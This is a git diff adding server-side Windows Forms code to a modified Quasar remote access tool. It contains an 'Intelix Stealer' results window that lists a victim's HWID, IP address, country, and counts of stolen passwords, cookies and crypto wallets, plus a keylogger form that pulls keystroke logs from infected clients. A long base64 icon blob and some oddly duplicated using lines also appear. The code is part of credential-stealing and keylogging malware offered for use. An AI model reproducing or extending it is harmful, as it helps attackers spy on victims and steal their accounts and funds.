Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmIntelixResults.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmIntelixResults.Designer.cs new file mode 100755 index 0000000..f36ccf2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmIntelixResults.Designer.cs @@ -0,0 +1,174 @@ +namespace Quasar.Server.Forms +{ + partial class FrmIntelixResults + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.lblTitle = new System.Windows.Forms.Label(); + this.lblHwid = new System.Windows.Forms.Label(); + this.lblIp = new System.Windows.Forms.Label(); + this.lblCountry = new System.Windows.Forms.Label(); + this.lblPasswords = new System.Windows.Forms.Label(); + this.lblCookies = new System.Windows.Forms.Label(); + this.lblWallets = new System.Windows.Forms.Label(); + this.lblFilePathLabel = new System.Windows.Forms.Label(); + this.lblFilePath = new System.Windows.Forms.Label(); + this.btnOpenFolder = new System.Windows.Forms.Button(); + this.btnClose = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblTitle + // + this.lblTitle.AutoSize = true; + this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Bold); + this.lblTitle.Location = new System.Drawing.Point(12, 9); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(197, 21); + this.lblTitle.TabIndex = 0; + this.lblTitle.Text = "Intelix Stealer - Results"; + // + // lblHwid + // + this.lblHwid.AutoSize = true; + this.lblHwid.Location = new System.Drawing.Point(12, 45); + this.lblHwid.Name = "lblHwid"; + this.lblHwid.Size = new System.Drawing.Size(45, 13); + this.lblHwid.TabIndex = 1; + this.lblHwid.Text = "HWID: "; + // + // lblIp + // + this.lblIp.AutoSize = true; + this.lblIp.Location = new System.Drawing.Point(12, 65); + this.lblIp.Name = "lblIp"; + this.lblIp.Size = new System.Drawing.Size(68, 13); + this.lblIp.TabIndex = 2; + this.lblIp.Text = "IP Address: "; + // + // lblCountry + // + this.lblCountry.AutoSize = true; + this.lblCountry.Location = new System.Drawing.Point(12, 85); + this.lblCountry.Name = "lblCountry"; + this.lblCountry.Size = new System.Drawing.Size(52, 13); + this.lblCountry.TabIndex = 3; + this.lblCountry.Text = "Country: "; + // + // lblPasswords + // + this.lblPasswords.AutoSize = true; + this.lblPasswords.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold); + this.lblPasswords.Location = new System.Drawing.Point(12, 115); + this.lblPasswords.Name = "lblPasswords"; + this.lblPasswords.Size = new System.Drawing.Size(75, 15); + this.lblPasswords.TabIndex = 4; + this.lblPasswords.Text = "Passwords: "; + // + // lblCookies + // + this.lblCookies.AutoSize = true; + this.lblCookies.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold); + this.lblCookies.Location = new System.Drawing.Point(12, 135); + this.lblCookies.Name = "lblCookies"; + this.lblCookies.Size = new System.Drawing.Size(58, 15); + this.lblCookies.TabIndex = 5; + this.lblCookies.Text = "Cookies: "; + // + // lblWallets + // + this.lblWallets.AutoSize = true; + this.lblWallets.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold); + this.lblWallets.Location = new System.Drawing.Point(12, 155); + this.lblWallets.Name = "lblWallets"; + this.lblWallets.Size = new System.Drawing.Size(56, 15); + this.lblWallets.TabIndex = 6; + this.lblWallets.Text = "Wallets: "; + // + // lblFilePathLabel + // + this.lblFilePathLabel.AutoSize = true; + this.lblFilePathLabel.Location = new System.Drawing.Point(12, 185); + this.lblFilePathLabel.Name = "lblFilePathLabel"; + this.lblFilePathLabel.Size = new System.Drawing.Size(60, 13); + this.lblFilePathLabel.TabIndex = 7; + this.lblFilePathLabel.Text = "Saved to:"; + // + // lblFilePath + // + this.lblFilePath.AutoSize = true; + this.lblFilePath.Location = new System.Drawing.Point(12, 205); + this.lblFilePath.MaximumSize = new System.Drawing.Size(460, 0); + this.lblFilePath.Name = "lblFilePath"; + this.lblFilePath.Size = new System.Drawing.Size(0, 13); + this.lblFilePath.TabIndex = 8; + // + // btnOpenFolder + // + this.btnOpenFolder.Location = new System.Drawing.Point(12, 240); + this.btnOpenFolder.Name = "btnOpenFolder"; + this.btnOpenFolder.Size = new System.Drawing.Size(120, 30); + this.btnOpenFolder.TabIndex = 9; + this.btnOpenFolder.Text = "Open Folder"; + this.btnOpenFolder.UseVisualStyleBackColor = true; + this.btnOpenFolder.Click += new System.EventHandler(this.btnOpenFolder_Click); + // + // btnClose + // + this.btnClose.Location = new System.Drawing.Point(352, 240); + this.btnClose.Name = "btnClose"; + this.btnClose.Size = new System.Drawing.Size(120, 30); + this.btnClose.TabIndex = 10; + this.btnClose.Text = "Close"; + this.btnClose.UseVisualStyleBackColor = true; + this.btnClose.Click += new System.EventHandler(this.btnClose_Click); + // + // FrmIntelixResults + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(484, 282); + this.Controls.Add(this.btnClose); + this.Controls.Add(this.btnOpenFolder); + this.Controls.Add(this.lblFilePath); + this.Controls.Add(this.lblFilePathLabel); + this.Controls.Add(this.lblWallets); + this.Controls.Add(this.lblCookies); + this.Controls.Add(this.lblPasswords); + this.Controls.Add(this.lblCountry); + this.Controls.Add(this.lblIp); + this.Controls.Add(this.lblHwid); + this.Controls.Add(this.lblTitle); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmIntelixResults"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "Intelix Stealer Results"; + this.ResumeLayout(false); + this.PerformLayout(); + } + + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.Label lblHwid; + private System.Windows.Forms.Label lblIp; + private System.Windows.Forms.Label lblCountry; + private System.Windows.Forms.Label lblPasswords; + private System.Windows.Forms.Label lblCookies; + private System.Windows.Forms.Label lblWallets; + private System.Windows.Forms.Label lblFilePathLabel; + private System.Windows.Forms.Label lblFilePath; + private System.Windows.Forms.Button btnOpenFolder; + private System.Windows.Forms.Button btnClose; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmIntelixResults.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmIntelixResults.cs new file mode 100755 index 0000000..89c9f93 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmIntelixResults.cs @@ -0,0 +1,68 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmIntelixResults : Form + { + private readonly string _filePath; + private readonly string _hwid; + private readonly string _publicIp; + private readonly string _countryCode; + private readonly long _passwordCount; + private readonly long _cookieCount; + private readonly int _walletCount; + + public FrmIntelixResults(string filePath, string hwid, string publicIp, string countryCode, + long passwordCount, long cookieCount, int walletCount) + { + _filePath = filePath; + _hwid = hwid; + _publicIp = publicIp; + _countryCode = countryCode; + _passwordCount = passwordCount; + _cookieCount = cookieCount; + _walletCount = walletCount; + + InitializeComponent(); + LoadResults(); + } + + private void LoadResults() + { + lblHwid.Text = $"HWID: {_hwid}"; + lblIp.Text = $"IP Address: {_publicIp}"; + lblCountry.Text = $"Country: {_countryCode}"; + lblPasswords.Text = $"Passwords: {_passwordCount:N0}"; + lblCookies.Text = $"Cookies: {_cookieCount:N0}"; + lblWallets.Text = $"Wallets: {_walletCount}"; + lblFilePath.Text = _filePath; + } + + private void btnOpenFolder_Click(object sender, EventArgs e) + { + try + { + if (File.Exists(_filePath)) + { + Process.Start("explorer.exe", $"/select,\"{_filePath}\""); + } + else + { + MessageBox.Show("File not found.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + catch (Exception ex) + { + MessageBox.Show($"Error opening folder: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + private void btnClose_Click(object sender, EventArgs e) + { + this.Close(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.Designer.cs new file mode 100755 index 0000000..e905b64 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.Designer.cs @@ -0,0 +1,134 @@ +namespace Quasar.Server.Forms +{ + partial class FrmKeylogger + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmKeylogger)); + this.lstLogs = new System.Windows.Forms.ListView(); + this.hLogs = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.statusStrip = new System.Windows.Forms.StatusStrip(); + this.btnGetLogs = new System.Windows.Forms.Button(); + this.wLogViewer = new System.Windows.Forms.WebBrowser(); + this.stripLblStatus = new System.Windows.Forms.ToolStripStatusLabel(); + this.statusStrip.SuspendLayout(); + this.SuspendLayout(); + // + // lstLogs + // + this.lstLogs.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.lstLogs.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hLogs}); + this.lstLogs.Font = new System.Drawing.Font("Segoe UI", 8.25F); + this.lstLogs.FullRowSelect = true; + this.lstLogs.GridLines = true; + this.lstLogs.Location = new System.Drawing.Point(0, 31); + this.lstLogs.Name = "lstLogs"; + this.lstLogs.Size = new System.Drawing.Size(153, 431); + this.lstLogs.TabIndex = 0; + this.lstLogs.UseCompatibleStateImageBehavior = false; + this.lstLogs.View = System.Windows.Forms.View.Details; + this.lstLogs.ItemActivate += new System.EventHandler(this.lstLogs_ItemActivate); + // + // hLogs + // + this.hLogs.Text = "Logs"; + this.hLogs.Width = 149; + // + // statusStrip + // + this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.stripLblStatus}); + this.statusStrip.Location = new System.Drawing.Point(0, 460); + this.statusStrip.Name = "statusStrip"; + this.statusStrip.Size = new System.Drawing.Size(862, 22); + this.statusStrip.TabIndex = 6; + this.statusStrip.Text = "statusStrip1"; + // + // btnGetLogs + // + this.btnGetLogs.Location = new System.Drawing.Point(2, 3); + this.btnGetLogs.Name = "btnGetLogs"; + this.btnGetLogs.Size = new System.Drawing.Size(149, 23); + this.btnGetLogs.TabIndex = 7; + this.btnGetLogs.Text = "Get Logs"; + this.btnGetLogs.UseVisualStyleBackColor = true; + this.btnGetLogs.Click += new System.EventHandler(this.btnGetLogs_Click); + // + // wLogViewer + // + this.wLogViewer.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.wLogViewer.Location = new System.Drawing.Point(154, 50); + this.wLogViewer.MinimumSize = new System.Drawing.Size(20, 20); + this.wLogViewer.Name = "wLogViewer"; + this.wLogViewer.ScriptErrorsSuppressed = true; + this.wLogViewer.Size = new System.Drawing.Size(708, 409); + this.wLogViewer.TabIndex = 8; + // + // stripLblStatus + // + this.stripLblStatus.Name = "stripLblStatus"; + this.stripLblStatus.Size = new System.Drawing.Size(77, 17); + this.stripLblStatus.Text = "Status: Ready"; + // + // FrmKeylogger + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(862, 482); + this.Controls.Add(this.wLogViewer); + this.Controls.Add(this.btnGetLogs); + this.Controls.Add(this.statusStrip); + this.Controls.Add(this.lstLogs); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MinimumSize = new System.Drawing.Size(630, 465); + this.Name = "FrmKeylogger"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Keylogger []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmKeylogger_FormClosing); + this.Load += new System.EventHandler(this.FrmKeylogger_Load); + this.statusStrip.ResumeLayout(false); + this.statusStrip.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.ColumnHeader hLogs; + private System.Windows.Forms.StatusStrip statusStrip; + private System.Windows.Forms.WebBrowser wLogViewer; + private System.Windows.Forms.ListView lstLogs; + private System.Windows.Forms.Button btnGetLogs; + private System.Windows.Forms.ToolStripStatusLabel stripLblStatus; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.cs new file mode 100755 index 0000000..402ab45 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.cs @@ -0,0 +1,172 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Windows.Forms; +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmKeylogger : Form + { + /// + /// The client which can be used for the keylogger. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly KeyloggerHandler _keyloggerHandler; + + /// + /// Path to the base download directory of the client. + /// + private readonly string _baseDownloadPath; + + /// + /// Holds the opened keylogger form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new keylogger form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the keylogger form. + /// + /// Returns a new keylogger form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmKeylogger CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmKeylogger f = new FrmKeylogger(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the keylogger form. + public FrmKeylogger(Client client) + { + _connectClient = client; + _keyloggerHandler = new KeyloggerHandler(client); + + _baseDownloadPath = Path.Combine(_connectClient.Value.DownloadDirectory, "Logs\\"); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the keylogger message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _keyloggerHandler.ProgressChanged += LogsChanged; + MessageHandler.Register(_keyloggerHandler); + } + + /// + /// Unregisters the keylogger message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_keyloggerHandler); + _keyloggerHandler.ProgressChanged -= LogsChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + /// + /// Called whenever the keylogger logs finished retrieving. + /// + /// The message processor which raised the event. + /// The status message. + private void LogsChanged(object sender, string message) + { + RefreshLogsDirectory(); + btnGetLogs.Enabled = true; + stripLblStatus.Text = "Status: " + message; + } + + private void FrmKeylogger_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("Keylogger", _connectClient); + + if (!Directory.Exists(_baseDownloadPath)) + { + Directory.CreateDirectory(_baseDownloadPath); + return; + } + + RefreshLogsDirectory(); + } + + private void FrmKeylogger_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + _keyloggerHandler.Dispose(); + } + + private void btnGetLogs_Click(object sender, EventArgs e) + { + btnGetLogs.Enabled = false; + stripLblStatus.Text = "Status: Retrieving logs..."; + _keyloggerHandler.RetrieveLogs(); + } + + private void lstLogs_ItemActivate(object sender, EventArgs e) + { + if (lstLogs.SelectedItems.Count > 0) + { + wLogViewer.Navigate(Path.Combine(_baseDownloadPath, lstLogs.SelectedItems[0].Text)); + } + } + + private void RefreshLogsDirectory() + { + lstLogs.Items.Clear(); + + DirectoryInfo dicInfo = new DirectoryInfo(_baseDownloadPath); + + FileInfo[] iFiles = dicInfo.GetFiles(); + + foreach (FileInfo file in iFiles) + { + lstLogs.Items.Add(new ListViewItem {Text = file.Name}); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.resx new file mode 100755 index 0000000..8509576 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmKeylogger.resx @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + 